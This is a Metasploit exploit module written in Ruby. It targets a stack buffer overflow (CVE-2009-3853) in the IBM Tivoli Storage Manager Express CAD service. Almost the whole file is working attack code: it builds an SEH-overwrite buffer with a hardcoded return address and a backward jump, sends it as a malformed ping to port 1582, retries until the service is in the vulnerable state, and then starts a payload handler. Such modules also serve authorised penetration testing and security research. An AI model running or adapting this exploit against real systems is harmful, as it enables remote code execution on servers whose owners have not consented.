107 lines
2.8 KiB
Ruby
107 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service.
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By sending a "ping" packet containing a long string, an attacker can execute arbitrary code.
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NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order
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for the vulnerable code to be reached. This state doesn't appear to be reachable when the
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TSM server is not running. This service does not restart.
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},
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'Author' => [ 'jduck' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-3853' ],
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[ 'OSVDB', '59632' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 380, # offset to seh is 384
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'BadChars' => '', # none!
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# this target should be pretty universal..
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# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
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[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 04 2009'))
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register_options( [ Opt::RPORT(1582) ], self.class )
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end
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def exploit
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print_status("Trying target %s..." % target.name)
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# wchar_t buf[64];
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#print_status("Generating sploit data...")
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distance = payload_space + 8
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backjmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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copy_len = distance + backjmp.length + (1024*3)
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sploit = [0,copy_len].pack('n*')
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sploit << payload.encoded
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sploit << generate_seh_record(target.ret)
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sploit << backjmp
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# force hitting end of the stack
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sploit << rand_text(1024) * 3
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data = [sploit.length,0x26,0xa5].pack('nCC')
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data << sploit
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got_it = false
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while not got_it
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connect
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print_status("Sending nasty ping request...")
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sock.put(data)
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begin
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buf = sock.get_once(-1, 5)
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rescue
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print_status("Hrm, the service is probably in the wrong state, stand by...")
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disconnect
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select(nil, nil, nil, 5)
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next
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end
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got_it = true
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end
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print_status("Starting handler...")
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handler
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disconnect
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end
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end
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